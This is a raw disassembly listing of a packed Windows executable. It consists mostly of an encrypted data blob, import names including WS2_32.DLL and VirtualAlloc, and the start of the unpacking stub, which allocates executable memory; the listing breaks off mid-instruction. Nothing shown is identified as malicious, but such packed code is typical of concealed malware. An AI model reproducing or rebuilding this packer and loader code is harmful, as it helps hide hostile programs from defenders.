0C26BB501h dd 0B36DD792h, 0F22C2765h, 6C205327h, 1D6958A8h, 1C82A471h dd 0E9A6CDA8h, 19881965h dd 84ACC8F2h, 24E28DABh, 7CA672D1h, 0AFBB24DDh, 399E5C17h dd 0CAFCCE0Ch, 51555040h, 7941297Dh, 0BA4B54A9h, 0A952DFC6h dd 0B7B701BBh, 3E4791D1h, 0A714E0ABh, 0FC76E1F6h, 57CDFAAFh dd 987DB6E9h, 4C6B61C9h, 0F4516375h, 3EEFD9BCh, 8A9F4B71h dd 3DF390D7h, 7A450CBFh, 0A72E1619h, 4B6B3EEAh, 0E6FDA3EFh dd 0FABE6AD7h, 71AA162Ch, 0C10F3BF2h, 7E67F74Eh, 0F399755h dd 1B8AD6CDh, 83F48251h, 7CD21421h, 6E5C9648h, 242061A9h dd 0E3A55A7Ch, 9C99E569h, 10EDCF14h, 3B1B1FFFh, 9DC1617Ah dd 90251686h, 241528BBh, 3BB19EB2h, 0E3A7436Dh, 0D23A7502h dd 5146D918h, 28BED52Ah, 4B53B5B8h, 3493FFD4h, 0F786393h dd 528FFB26h, 0B5C3B54Dh, 0F803513Eh, 5A68B966h, 1E7F38C6h dd 0ECD72BE7h, 0C0136EEEh, 59A180Dh, 34C7318Dh, 3EB05553h dd 0D0CE39B6h, 21FAFEB2h, 0C8F16E1h, 0C9C6D54h, 89A3EBB5h dd 6DB6A454h, 8116AF87h, 88E4F122h, 0F86F910Dh, 652EE004h dd 0CAEE2C83h, 0C4E74E79h, 5273BA57h, 23253B17h, 0C7D479F6h dd 0DA67D712h, 539E8C6Eh, 30F9CEEFh, 53F977A0h, 0DB9D4710h dd 0E37835B4h, 5FBBDCD8h, 0BF32854Dh, 0B22CD1F0h, 1ABC0614h dd 0C127BB1Ch, 0B8632707h, 363271AFh, 33F0F0B4h, 5648DEC9h dd 670FBB1Ch, 0F5D765F0h, 3E3AFD22h, 0C896B810h, 7E067DEAh dd 77178672h, 0E46E0659h, 0C6914303h, 0DF02B12Bh, 1BD94E20h dd 691B414Ch, 0C92DD99Eh, 93AA313Dh, 0A0489B00h, 69D9CA34h dd 0F7BA8460h, 0D3406C0h, 0A918B295h, 5B4D40D4h, 0B0FE450h dd 7F56D26Bh, 320D5751h, 869F9164h, 0FD0C52F7h, 1476A550h dd 77967503h, 3724F80Eh, 7A42F3CEh, 0C6BE9084h, 57B2C73h dd 0E0AD1BDDh, 6D5BBDDEh, 1BA587E5h, 0F29AE18Ch, 120D79Ah dd 0EA51DC6h, 0D15222Ah, 4DA1C638h, 7D1441ACh, 1AB880B4h dd 0AC88DDC3h, 0F71318EDh, 0E0C255F4h, 0B6230D57h, 95762C08h dd 0ABE9ADE1h, 0F7933DD6h, 93F1CD78h, 19AA42A2h, 0B5ADF80Ch dd 2A9B063Eh, 8B9E9CC2h, 13835ADBh, 5ED8890Eh, 0C1688C87h dd 0FC35E5C1h, 0C2E3594Ch, 0B4BC1092h, 0A2166CD4h, 130C522Eh dd 0FA24F910h, 19DBFE02h, 0A50368A1h, 2D0BEE7Ah, 9564477Ch dd 0AF828F2Eh, 0B7331EAEh, 0DDDEF8B4h, 7ABAA7DBh, 0FD02D9FBh dd 0C4266650h, 0B36390C1h, 0C81AF00h, 510E804Ch, 42489C30h dd 56A4B1B9h, 5C138180h, 0F53AA0DBh, 4F05388h, 0E774E3Eh dd 5AAEDE6h, 0D7B412DFh, 0ABED0955h, 488396BFh, 8AEFF9F2h dd 98697FB0h, 0F3EDB577h, 0CFEA77D2h, 572EA08Dh, 0A8048AC0h dd 8B94DE67h, 6F2F10F7h, 15FF3B5h, 64D60D79h, 128BBFDBh dd 0D44C354Ah, 0D6C214E6h, 0AF00BCBEh, 663843F8h, 0D86DAFCAh dd 6EF33809h, 3121AC1h, 2D001BCBh, 38468FCFh, 0A892268Fh dd 76DFDEC3h, 0D3F3329Bh, 5B582E18h, 94CA8A7Bh, 7BEE86A5h dd 4AF42B6Dh, 91D317F0h, 2E51127Dh, 696FC46Bh, 5781C6EFh dd 5D626FE9h, 0E96D06FDh, 6DA9C574h, 0DBB9D2Dh, 0A07C7DA9h dd 4100C1FAh, 0A5E89840h, 8351273Ch, 0BE2BC0B5h, 20DF8382h dd 84DB705Bh, 3C67518h, 3472B1F4h, 36F43421h, 0D8867A09h dd 0E99B7C7Ah, 5002F2F3h, 0F052D3E5h, 0A9B72731h, 810FACE0h dd 0DE1A7EFEh, 3AE4F74Fh, 1BB0FD51h, 75711BF4h, 99815B0Eh dd 0B5E63F8Ch, 0C70AE00Fh, 0C170FE3Ch, 9FCE0F0Fh, 0C46A32B4h dd 0A76D6734h, 58EC18CBh, 0A479DA81h, 0DCBE1943h, 2EEDB31Bh dd 26454886h, 63195129h, 0D488E664h, 80781488h, 8D462510h dd 1DE6DED9h, 257F6AD1h, 9DBBDAE4h, 81AFBCC9h, 8958D5ECh dd 4A000E92h, 2AD7AF58h, 0C9A0FB3Eh, 0E582C2B2h, 0D32551C9h dd 2934867Dh, 0B4166AB1h, 0E1BF33AFh, 0E844E70h, 74D8D8E9h dd 5B91AB41h, 0DA7BA369h, 0AC6E5DEBh, 0F2F7E109h, 0C504C2C9h dd 0F5FFED82h, 0BD26A4FBh, 0FEF67390h, 4B2ABFFh, 1AEA6DCBh dd 0FD87B834h, 64FC71EAh, 4B6F624Fh, 86877346h, 0FB0A1789h dd 0A160F3A9h, 0D66FEF24h, 5E7B3CAh, 0B39CF7FBh, 2465DE2Ah dd 4B438BD6h, 3699FBF1h, 0D9426152h, 1DD206F2h, 0CF58A96Ch dd 0D24CF978h, 1670DAE9h, 0FE9F85BEh, 3985ADB0h, 0F0F0730Ah dd 0DFA6560Fh, 0AB3D880Fh, 253915F9h, 0E22F2BC7h, 4E057F8Dh dd 810F48Ah, 0F1634014h, 25E17822h, 9DA19AF5h, 1B8B20Ah dd 0F70D6CBBh, 0E6D7BA4h, 1896F14Ch, 0C718FBE9h, 75D076E0h dd 7AA64DF4h, 0D3295557h, 188AC4B8h, 0C1B55C3Bh, 4282CB00h dd 4A1C0CFEh, 0F0E96487h, 3809E91Eh, 0BECE7760h, 45E7F3F6h dd 0F8959C7Bh, 4891A27Bh, 0E54C058h, 0D6D47F47h, 2BADB469h dd 501C166Bh, 41F6FD2Dh, 0FF607891h, 85F5F0F2h, 4932AAE8h dd 10CA0D24h, 4580B1CEh, 0C20F982Bh, 0BC461CCDh, 411F14BBh dd 314BCC07h, 6423EA05h, 0FCF70EEEh, 0E1FC092Eh, 38D2AB9h dd 945ECCB3h, 6DCF5010h, 0D1BB5AD7h, 95081D8Bh, 594ECF26h dd 4D63226Dh, 14B6284h, 50D617DFh, 774C0360h, 8A11A085h dd 23009FABh, 73EC9195h, 24C532BBh, 67A429AFh, 0C82A644Eh dd 47B3F402h, 9526034Bh, 78AC27BBh, 3222727Ah, 5B235881h dd 6C5097EDh, 96498EBBh, 157A8A4Eh, 0C35284C8h, 0A61F08AAh dd 0B5883BA7h, 0B659F136h, 0D583F83Eh, 1C187014h, 0D95961D1h dd 2CA7771h, 0D001F8D9h, 0E6CAE958h, 293751FCh, 0F276841Ch dd 456B0638h, 259383FAh, 956082F5h, 5652980Eh, 82FEF5A3h dd 0A4270195h, 7FD1C3BDh, 0D0707B9Ch, 0C0839461h, 0D6C6F9A9h dd 0BA8F256Ah, 66BEA756h, 9EB69D68h, 0B9FABBF9h, 0AD4A8A2Bh dd 0B777DC29h, 0BE4BBF1Ch, 0B3E782A9h, 0EB6F8DEEh, 7849B8F1h dd 7AC528FAh, 0D2395627h, 0A1705305h, 3F5305A9h, 0DE023030h dd 425B1DBFh, 83D8832Dh, 0F8A1049Eh, 0EF3B7432h, 53C03EA9h dd 41DD0C0h, 4B92DEFEh, 61249DBEh, 0E4FE9B71h, 0F5DCF0D6h dd 0F9390787h, 426E70C7h, 0ACB28A83h, 0BC22BED3h, 7531609Ah dd 0EC09A08Fh, 763B6A86h, 13F9C0h, 60F7935Ch, 27034A1Fh dd 6E64D1A2h, 169D6536h, 0F983F362h, 0D2C5C2F6h, 0ED0506Ch dd 952E1763h, 15132B37h, 0F6ACF379h, 0D3169831h, 23B1D37h dd 0B9104D07h, 41DA51B6h, 1D588EA9h, 2D2F9C2Fh, 0A1855116h dd 0C1E9B29Bh, 0E045471Fh, 0F7484B47h, 9762E19Fh, 1E7E37E2h dd 33637EE8h, 0D435D985h, 6BF2BA61h, 0CBD0FC54h, 0F9875542h dd 0C5C70D95h, 0E816BBA0h, 84A4C09Eh, 2C77D0EFh, 2E502AB0h dd 0F095CF05h, 0AA21AD77h, 0DDDF0CEDh, 4B799D32h, 5C13B6BCh dd 3E44AA5Ah, 0FB50BDA7h, 621D8781h, 0D3D0BB0Dh, 0A0CFB9BEh dd 0E04D614Dh, 19EC2FA5h, 76B04254h, 5BF687C1h, 2B677C5Dh dd 0A8D7C9D5h, 0C207AD87h, 316FAC1Dh, 244163E2h, 0B90D7F0Ch dd 8FBB8E47h, 9FAA4E36h, 0EBCB20B8h, 7C3FA93Ch, 6263C0Ah dd 82A9F9A8h, 79916BD5h, 0B68F1A82h, 0AD5206FCh, 940120F2h dd 6FC2089Ch, 1CC83F9h, 0C04295B1h, 0E5550F27h, 0AF7842B8h dd 66F57C20h, 5687E1E4h, 0ECA0F50h, 9939E96Eh, 5A60C71Eh dd 380F3F11h, 0CE20A266h, 0B4AA242Bh, 0D9E8005Ah, 706F441Dh dd 0E5B2EEFh, 0A00BC3E9h, 0A5454398h, 0D98E9FB2h, 8FCDB0A5h dd 3B818F1Ch, 9C889480h, 0E0166CF0h, 0D15720AEh, 0E7485FEEh dd 0BEE04430h, 9343B813h, 0BDE2AA21h, 0BF3F00E8h, 43FD611Eh dd 981ACDAAh, 9956F532h, 157EF269h, 655381F1h, 42E5381Ah dd 7D8DE673h, 4922F744h dd 0F1728731h, 6A31E983h, 1BBA9865h, 34A17AA1h, 8503407h dd 6D1F8A81h, 0A9DEA4E9h, 413F36A4h, 5AA88E5Eh, 0CECCE62Fh dd 7D18CC86h, 1499A699h, 15D8925Ch, 49C0470Ch, 0BAB3EEB9h dd 39A6EF36h, 53ED15B2h, 0AFD64128h, 0D2C72D33h, 0F244FB63h dd 66B423AFh, 913480F2h, 6527EDC2h, 0C9B745CCh, 0A854B201h dd 0F05CA8FCh, 0B905D807h, 0A63F1FDCh, 4A0AE1E8h, 57126A23h dd 7AE5CE3Eh, 1786936Ah, 0AFBB301h, 9EDFC9F1h, 22C7C313h dd 38982167h, 1DE5660h, 6E882DE8h, 72B47234h, 72F9AF8Dh dd 74E51589h, 9A5D3A3Bh, 82D0DF78h, 0D22C5F7Eh, 0F7CEEDABh dd 116ECFC9h, 64D7F5F1h, 6F9E3F01h, 0CBE608C1h, 254DF9C1h dd 0ED930918h, 0A39E5992h, 648EAB5Bh, 0E9CB6134h, 31168BF3h dd 4CC6ED2Bh, 0EF8264D7h, 0FEA2B16Ch, 0D9D1FF97h, 0EDA51F69h dd 0DF1C3DC2h, 0D50FDE8Bh, 50EB24F5h, 0D707D1ABh, 8425BD2Bh dd 0F219CECAh, 0ADFE5669h, 47D92B0h, 0B28BE95Fh, 556FFA46h dd 0A009DD6Bh, 93891596h, 55083D30h, 61C31237h, 7211FB20h dd 0C7D30677h, 97309B5Ah, 566B64C4h, 0A3FBAD3Dh, 0ABB1277Bh dd 0D355A077h, 82C20926h, 55D13816h, 344127ECh, 30DAC2BEh dd 2ACAC9CFh, 2F8D4B6Dh, 5F4C2E83h, 44A28580h, 498A8F78h dd 8FDDE770h, 13470D72h, 0EEB7846Eh, 0A78AA60Bh, 0E3EAAF71h dd 90F78CBEh, 4A6E3915h, 49D61DEBh, 58B39CF4h, 0BF58992Dh dd 66CBD9FBh, 4C82CCC3h, 0F332AA27h, 0D2492123h, 48568A4Ch dd 545B26D2h, 9B8DB26Fh, 97962CC9h, 0C056E386h, 0D20E2C52h dd 0F01A1937h, 5B940546h, 1D7C404Ch, 0B3BE005Bh, 7A85DDE3h dd 0B5C646BEh, 8E677205h, 3B43B9D6h, 0F1B310DAh, 0E1E0297h dd 7AE3FD44h, 73B32CC2h, 0A6C9C1Dh, 5D276627h, 0DBFB4D73h dd 29097256h, 0A853FB49h, 57CE7548h, 3D06BCEEh, 63A4C05h dd 763EF929h, 67CDE64Fh, 0C08B8D9Bh, 0C89CD5B9h, 0E04D9D0Bh dd 5CA21F9Fh, 3E9E9E37h, 0FC8C48F8h, 748CE6F6h, 57F95B20h dd 15E4C1B8h, 0FF43AD82h, 0A7431217h, 0C4889996h, 5184FA13h dd 2BA8B0h, 62E8C437h, 0DC3414F9h, 2F175E2Bh, 0D7F160BCh dd 0F7098343h, 8734E74Eh, 0FA518972h, 4811DDF9h, 686B20E6h dd 952FC250h, 123979B5h, 1588C1E4h, 50CF29CFh, 8FE780A7h dd 4BA05526h, 7A9DC91Ah, 0EC0F10E7h, 8DE283D5h, 0B6B41C9h dd 2EE232C8h, 0C2B4C037h, 0BC2EA46h, 1E5CA095h, 4BA236Ah dd 5EF4602Dh, 8800532h, 7F970AC9h, 0BA98114Eh, 0DC99E4E4h dd 0A06D1AE0h, 8A107A2Eh, 77B672DFh, 0A3143AEh, 0E773D54Ch dd 537E4E00h, 2E7ABB72h, 0FDB70CDCh, 3F4A104Eh, 287AF0C2h dd 0F20D7E3Fh, 32A9BEAh, 26AF1E00h, 0DC519697h, 0C5852D2Ch dd 1C80360Fh, 7A1673BBh, 3022448Ah, 0A5D96188h, 3037F88Ch dd 0BEB5AC36h, 52321015h, 0EDCE6B2Eh, 68685E37h, 0B4AE76FDh dd 90040A36h, 36F3F905h, 2717D44Ah, 56EB0C1Eh, 4C544396h dd 0A0E0E864h, 68E117F5h, 34D92B23h, 8BB46DB0h, 3037E115h dd 0BFC28D57h, 79B2CD75h, 0C5B0ED56h, 56CCA9C0h, 4D8EF1EEh dd 0AA2852CDh, 0F8647DCCh, 8427EC00h, 68B17A44h, 1466E7E6h dd 0D50B0629h, 7A4CF75h, 0E8CF72ACh, 350A7CD7h, 1AE847FDh dd 160DF974h, 0D954B952h, 2AAB05C2h, 4AF36770h, 97D45EC1h dd 0C0A37BEFh, 0A9927A68h, 7DCDC2E6h, 2AFE50EEh, 5ACF4F2Bh dd 0CE08EF72h, 0C639CF42h, 6B7F71CFh, 4AC71B2Ah, 5DAF1AFDh dd 0A9E9D0Dh, 756FC42Ch, 0D7AB2B20h, 0A61A4946h, 0BDA15E9Fh dd 986297A0h, 782A23C1h, 62C0514Bh, 0D2B60029h, 0E71EA2F0h dd 0EB62B592h, 1476DF38h, 2777AE5Eh, 0C17420FDh, 7FB4F80Fh dd 2B1E0D60h, 5C0CE957h, 2B1E0F4Eh, 0F4D9C001h, 0E5C8E9E5h dd 0F6159154h, 7FF6FB7Ah, 0D2C17209h, 13C228E2h, 0C244ADC1h dd 99FCA21Eh, 0FA61D094h, 9630F6D0h, 0BA723EF4h, 0CFE12A9Dh dd 502B82B8h, 77404804h, 5386AACFh, 0D15778E6h, 61258CF9h dd 2EC507BBh, 92E384F4h, 90F1DDDFh, 0B5E0098Eh, 15C709B7h dd 0B727B396h, 0F7909724h, 789853BCh, 8809E9DEh, 80B1F7h dd 0F2E715AFh, 0FFEC6256h, 70EF37A5h, 645C036Ch, 0CD6C524Ah dd 0E46873B6h, 1CE62F9Fh, 47323Fh, 4FC11DA4h, 0FB246BB2h dd 39447ECCh, 6E9A0523h, 0A41F70D9h, 2956A2F1h, 7C593E66h dd 0F4126F72h, 936D67D4h, 31F51D18h, 0F081EEA8h, 0ADA60B69h dd 0FD66A2AAh, 2236CE3h, 0AC2BA53Bh, 96125794h, 1EBCD458h dd 0FB294DF3h, 0B3825A5h, 7327BFDEh, 0A1B2B005h, 45C6EE8Fh dd 0E59B2AE2h, 4731E92Bh, 94458DEAh, 17F5A215h, 16C5997Eh dd 0C0CE70FDh, 0C0AC06E8h, 802CCB88h, 0B0816218h, 0D7CFDC98h dd 4D381B0Fh, 9EB2B160h, 0C76108BCh, 0F18C7BBEh, 91250B46h dd 628A4E98h, 0AE0DBC32h, 7FF01D34h, 1C05C730h, 607ECFADh dd 20B89A0h, 582DE3CAh, 92485090h, 12EC2E1h, 0DB6E891Dh dd 0E0FC0D9Ah, 0F4959AEEh, 7D245F75h, 1A1998FFh, 8E6227EEh dd 59B98FCCh, 2758F770h, 0EDB3A9CBh, 4E560106h, 0A603A482h dd 5D60DF6Bh, 6EEEB3BDh, 0C51F86DBh, 0DD697B50h, 1FC8178Ah dd 49A891B9h, 5FF7CAECh, 8E3068B6h, 0B52F3A9Bh, 0C6A999CBh dd 0B79F3013h, 3EDE33A2h, 7778F555h, 1DB973B9h, 0D7B93F70h dd 0E7A4D39Fh, 0B724EBD7h, 48550AADh, 0ADA53F81h, 0A527DB6Ah dd 8CAC0C62h, 0C71C2906h, 0D27E3771h, 670F9441h, 0C9DEA872h dd 82FC89F1h, 0B25D9429h, 93875C54h, 334AE54Bh, 10C703D7h dd 720B240Ah, 0E381605Eh, 10EF6A1Eh, 1C951FDEh, 0BC67F711h dd 0BC145A57h, 0E5F4DAEFh, 4C6E1348h, 412C1CE0h, 0D9F79FBh dd 359DF5BAh, 99F27C03h, 75ECEEF9h, 0E76E1336h, 8A38CE63h dd 0B88B0536h, 7B515A2Eh, 0AD6311C8h, 0A3D0E0F7h, 0EC352047h dd 765FD5DBh, 0D97339B5h, 6DA4849Eh, 5DB2A4E0h, 0BD2EECFCh dd 0C5AE5D5Ah, 10190CFDh, 0E7980F75h, 2628384Dh, 757131D5h dd 9768E455h, 0B1355543h, 0CFA9CF8Dh, 0BB521D3Bh, 0B321005Bh dd 47F4C33Ch, 401BF4E5h, 0F1FCB505h, 0E1D8E38Eh, 9BD0E1EFh dd 0FF0DB4D6h, 0E72FE64Eh, 658E4A24h, 155C243Ah, 0CFA985FAh dd 0F2D36763h, 74E5A109h, 307B5205h, 0A6B19014h, 0DE33BA2Ah dd 45D2A490h, 83524ABh, 6BBC1BD2h, 9E6E47A9h, 0AD91FF0Eh dd 2C0205BFh, 57C6B60Ah, 99E3C8B0h, 0F4756379h, 13D53DE2h dd 4EAB4C3Ch, 80D8630h, 211733BFh, 0DB783034h, 480816D4h dd 0D517FCA8h, 392D87BBh, 94412279h, 278AB9A7h, 0D84F256Ch dd 35A78264h, 0B2F393F9h, 0D1F7A877h, 8DB8F138h, 0C7B09487h dd 0B55652CDh, 8EC023B9h, 7B7AE076h, 31278D4Ch, 0FC29065Bh dd 4D6B0F80h, 0F40DC399h, 7AAAA9FDh, 0BC75E70Bh, 0DC00E72h dd 0FA30320Bh, 0FC9870E6h, 6C1B2F26h, 6699FFD1h, 0AD534A21h dd 0DFA6F05Ah, 0E960445Bh, 0CD50CD66h, 648210C1h, 8F1A809Eh dd 45424665h, 0FEBFD3D9h, 0EDD25C00h, 0EE3116B5h, 0B0E5462Ah dd 7E8D887Fh, 5F54DD01h, 0EF50AE27h, 0FA7F4F6Bh, 0EED019CEh dd 0DDA39FDDh, 0CA4AAB6Eh, 0CC1713F1h, 5D64A54Bh, 0FDC6D0C0h dd 5A473DD6h, 0EC05663Fh, 0F8BA2A36h, 0A1E51ECh, 0E31D7714h dd 43BA5171h, 655DF4BFh, 0A0573532h, 643837B6h, 0BA437238h dd 5763900Fh, 3E2288B2h, 373512F4h, 6EBAD723h, 5237A14Eh dd 2312F697h, 0DD781705h, 0CC2DD7D4h, 0BBB43007h, 0E048CDF4h dd 0A0528750h, 0C408FCC0h dd 5D8AE459h, 74125660h, 4D01CDA2h, 73D44CD5h, 0F97CD15h dd 0E808C94Eh, 0FC8F33Ah, 672235FDh, 7778C470h, 22C1D2A2h dd 0F1031826h, 0EE6CEEB1h, 9913D15Bh, 0F88C4BE9h, 57008CF9h dd 0CEB16745h, 72894C40h, 0E95285A5h, 2D901486h, 2FF7C833h dd 8A9EA836h, 0EBFC325Dh, 55F8672Ch, 2BA68205h, 61A7E16Eh dd 0D6F0C5A7h, 0B6DAB126h, 9130725h, 547CB20Dh, 99D0C9E0h dd 0FAEAF587h, 616A0C83h, 7F151E77h, 0EAB1529Bh, 203AF981h dd 3F7FD219h, 7E00D5D6h, 0B58C5F55h, 0B70E1BCAh, 4F3238C3h dd 26355CC5h, 4BD8h, 8CAA53E7h, 8CB74238h, 16051C2h, 0B8841B8Ah dd 0A8D30E62h, 32F451Eh, 0E1A9E8F5h, 24CE1D9h, 862DBF1Bh dd 15B4542Ch, 0D4FF8A8Bh, 0BD175587h, 0BDD7EC55h, 93F18D8Fh dd 0FC2D083Ah, 4FDB6502h, 8CFA5BE3h, 0B84A55Bh, 0D7809CCDh dd 0F1D4F977h, 10D2FDE2h, 0C60D916h, 49039CCBh, 3E1FC32Bh dd 3399856Fh, 0F1CD8FDEh, 1517D620h, 40FFE547h, 14282575h dd 0D3E33C73h, 601E48D7h, 0B9AAE6D4h, 24B6D37Fh, 0E6F77B92h dd 94181312h, 842992DDh, 0B90C3466h, 53DA446h, 0A87654F6h dd 0ABDEA35Fh, 0D77FA271h, 0C7B3299Fh, 86B1B16Ah, 0EE48DF7Eh dd 0A9AD6130h, 0F96C788Ah, 70CC5CE0h, 0E853D394h, 4C617141h dd 833C62D4h, 126F999Ah, 13F497E9h, 8CB12D84h, 0D9FC70BFh dd 9D1EC145h, 3D613E53h, 5815AAD4h, 24F6162Bh, 0AA3576F9h dd 0F91B882h, 0E4B69FCDh, 9505A812h, 0A0A87063h, 8C03594Ch dd 82058CACh, 997C9F24h, 0FE5AE813h, 8ADCBC1Eh, 0FEB33095h dd 0E926A469h, 0CE444BFEh, 3F0C1E3Ah, 6F571DAh, 2384F435h dd 1237CFCCh, 0EF9E3497h, 0AAC7F5D8h, 0CE24487Ah, 0B2CDA68Ah dd 0D89B8F7Fh, 0A15934E1h, 1CB65458h, 81F79692h, 0E472A11Bh dd 0D09D0AFEh, 0EDA9F297h, 300CD2B5h, 2EF37B21h, 0D62AD653h dd 2AC30ABh, 438E6CB3h, 25A2CFE8h, 9DE5640h, 7423952Eh dd 0E6F7F517h, 0F170AA71h, 31191A47h, 0ACA7A3BFh, 1ABAB80Dh dd 2C66BD39h, 9E7CBEBFh, 61B4042Dh, 0F5A6D5A8h, 0E56C70E2h dd 8EC5A7AFh, 31BBC17Bh, 0A03069A7h, 0DEA08CAh, 43485D70h dd 6357735Dh, 3467A705h, 6FC93868h, 1043D7C9h, 0B953F542h dd 0F1615850h, 0B8BC5CA6h, 0BFD34428h, 0BB2BB28Dh, 0C6B9E217h dd 60624A95h, 9451F780h, 9EF9ED18h, 0BFB43649h, 0B01DAEA8h dd 0CB3CD3D5h, 0BDC3DCF5h, 92BEFFEFh, 0C19CEE54h, 0F496244Bh dd 914F5B8Ch, 7D25EE50h, 557FEDF1h, 0BF73FEB2h, 0EA9A19D9h dd 7E324492h, 8B01C31Bh, 3DAD177h, 0AACE2F48h, 2B2761AFh dd 0C5E5BCE6h, 74C640Fh, 0C585E593h, 0B2CE89B3h, 0A574EBCFh dd 0DDD2D434h, 63BFE91Bh, 0B5422A82h, 0CF16D5BCh, 2314D903h dd 0E7825CECh, 0B5EF8213h, 294D7ED7h, 856A6CF2h, 7A434DC1h dd 42C33675h, 4B115EA3h, 7E974695h, 8DCE8BBh, 4452999Eh dd 55BFC763h, 0D505A418h, 350493D4h, 49482A1Eh, 1639B072h dd 6686F937h, 8A66D89Eh, 664829ACh, 75F7DA6Dh, 7FCC1F71h dd 29329E6Ah, 0EE5F5CEEh, 6FBEC96Ah, 0B7E7644Eh, 0B555276Ch dd 0A3F2B864h, 420B44A0h, 6A371E43h, 31BD1336h, 0AE6E4645h dd 9730CDBh, 0F834997Bh, 0B6EE2DAEh, 3F54F31h, 0D2991386h dd 0CEEEB35Ch, 0E8D04F5Ch, 0D387E8A6h, 3A2A2F17h, 0E53F2E1Ah dd 79BE7FC4h, 8B31DAF9h, 0AF29D4BDh, 80A78E7Fh, 0DEFD8334h dd 0C884213Bh, 0B51BCC18h, 28E265CDh, 0D01AF3B2h, 2EC2E2CDh dd 62B3FD62h, 21277279h, 0DA69CF0Ch, 0C7C75D40h, 0AADC7F47h dd 0D0F5D9FAh, 461080FDh, 9C874016h, 0F4DBC3B4h, 0D3862E2Ch dd 0FAA66D0Dh, 81B35A1Fh, 0A3AEA457h, 70A36655h, 37B9CF7h dd 0CEC237A1h, 0E4599EDBh, 0F536CD12h, 280D735h, 0C97BE115h dd 57C8A060h, 3F02A278h, 90BA1AC5h, 0F760F268h, 0D62F8121h dd 1ECFB917h, 0E78F049Ch, 0A5B88B10h, 1BDF3630h, 0C10F43D5h dd 2F7A20FDh, 21A75284h, 8A2706D6h, 0ABC87C65h, 0A768A69Eh dd 9145889h, 65D19207h, 8ED10E9Bh, 0D5FCD96h, 4088E50Eh dd 9ED9D077h, 425A0AC0h, 940538E9h, 8646A36Bh, 98DAFAF9h dd 98D589A6h, 8D49378Ah, 7663489Eh, 0F07439C2h, 35FBEADEh dd 48DF1488h, 0FFE6E060h, 0BA11C76Eh, 8ACBDD5Ch, 0F4A9FD67h dd 0B9000102h, 3678D870h, 66A033EBh, 8A52DEBAh, 993F47B2h dd 886A2187h, 0BE33D252h, 2EA85F3h, 0C0222D22h, 0E367AFC1h dd 0B0C8D7B4h, 82CE2E61h, 7A1857FDh, 0B7B6F16Ah, 0AC8FDCBEh dd 0B3E844C0h, 0FBB27FFDh, 2BEE6602h, 113A7580h, 37C7E49Dh dd 84B89990h, 4A85CEBCh, 0D56614D0h, 1B005F10h, 9FD75CA5h dd 2C877A2Eh, 0B5F69514h, 2BB92452h, 0BEF639CFh, 945740C4h dd 6ADF8EDh, 0AC28BA7Ah, 92C636ABh, 9FB766CAh, 2F3983A5h dd 8C8941FAh, 53AC37B5h, 880BEA4Ah, 9EAD7B5h, 0D8F05E3Fh dd 6867D2E0h, 0ED1E53F8h, 73F74F27h, 271E0A8Dh, 74D7D187h dd 0DEFFC683h, 0FF1F1EB8h, 5D7C41EDh, 59FA13BFh, 88A85590h dd 6F91423Dh, 0F2513476h, 5ADEDE25h, 7D673813h, 835CCD47h dd 3C01EA5Dh, 4211E2D4h, 14E87D24h, 0FD23A139h, 0CF3DD849h dd 5CB63362h, 86A38343h, 0B332E3F1h, 7C14FFC1h, 0AC1F1878h dd 0B911AA3Bh, 5C675E34h, 0F3006CCh, 6B5F92E9h, 1F03552Dh dd 3242D4EBh, 0F238FCD0h, 3C004CE7h, 2A1AFF28h, 7EC01CE5h dd 29FCFB26h, 544E90F6h, 7574B3D3h, 879F9BD3h, 5264h, 610h dup(0) dd 14h, 0 dd 6B93Ch, 5D893FDh, 0C77E8h, 12h, 0Dh, 6B9D7h, 71AB1836h dd 5, 3 dup(0) dd 65470000h, 6F725074h, 64644163h, 73736572h, 4D746547h dd 6C75646Fh, 6E614865h, 41656C64h, 64616F4Ch, 7262694Ch dd 41797261h, 74FFh, 80h, 3E6h dup(0) _nsp0 ends ; Section 2. (virtual address 0007C000) ; Virtual size : 00026000 ( 155648.) ; Section size in file : 00026000 ( 155648.) ; Offset to raw data for section: 0007C000 ; Flags E0000060: Text Data Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute _nsp1 segment para public 'CODE' use32 assume cs:_nsp1 ;org 47C000h assume es:nothing, ss:nothing, ds:_nsp0, fs:nothing, gs:nothing dd 906h, 0 dd 7B000h, 0 dd 400000h, 0 dd 71AB0000h, 7 dup(0) dd 340000h, 0 dd offset sub_401000 align 8 dd 1, 0 dd 103h, 6 dup(0) dd 2, 168h, 2 dup(0) dd 1, 0 dd offset sub_401000 dd 0 dd 25180h, 3 dup(0) dd 77E805D8h, 77E7A5FDh, 77E6169Ah, 77E7980Ah, 77E79E34h dd 77E75CB5h, 0 dd 71AB1836h, 4 dup(0) dd 7C0FCh, 7C09Ch, 3 dup(0) dd 7C109h, 7C0B8h, 5 dup(0) dd 4E52454Bh, 32334C45h, 4C4C442Eh, 32535700h, 2E32335Fh dd 4C4C44h, 6F4C0000h, 694C6461h, 72617262h, 4179h, 74654700h dd 636F7250h, 72646441h, 737365h, 69560000h, 61757472h dd 6F72506Ch, 74636574h, 56000000h, 75747269h, 6C416C61h dd 636F6Ch, 69560000h, 61757472h, 6572466Ch, 65h, 74697845h dd 636F7250h, 737365h, 73190000h, 91F1C3F1h ; --------------------------------------------------------------------------- adc edi, ebp ; =============== S U B R O U T I N E ======================================= public start start proc near ; FUNCTION CHUNK AT 0047C53A SIZE 00000009 BYTES pushf pusha call $+5 pop ebp sub ebp, 7 lea ecx, [ebp-0FEh] cmp byte ptr [ecx], 1 jz loc_47C3D6 mov byte ptr [ecx], 1 mov eax, ebp sub eax, [ebp-16Ah] mov [ebp-16Ah], eax add [ebp-13Ah], eax lea esi, [ebp-0F6h] add [esi], eax push ebp push esi push 40h push 1000h push 1000h push 0 call dword ptr [ebp-0D2h] test eax, eax jz loc_47C53A mov [ebp-142h], eax call $+5 pop ebx mov ecx, 367h add ebx, ecx push eax push ebx call sub_47C49B pop esi pop ebp mov esi, [esi] mov edi, ebp add edi, [ebp-17Ah] mov ebx, edi cmp dword ptr [edi], 0 jnz short loc_47C208 add edi, 4 mov ecx, 0 jmp short loc_47C21E ; --------------------------------------------------------------------------- loc_47C208: ; CODE XREF: start+82j mov ecx, 1 add edi, [ebx] add ebx, 4 loc_47C212: ; CODE XREF: start+CFj cmp dword ptr [ebx], 0 jz short loc_47C24B add [ebx], edx mov esi, [ebx] add edi, [ebx+4] loc_47C21E: ; CODE XREF: start+8Cj push edi push ecx push ebx push dword ptr [ebp-0CEh] push dword ptr [ebp-0D2h] mov edx, esi mov ecx, edi mov eax, [ebp-142h] add eax, 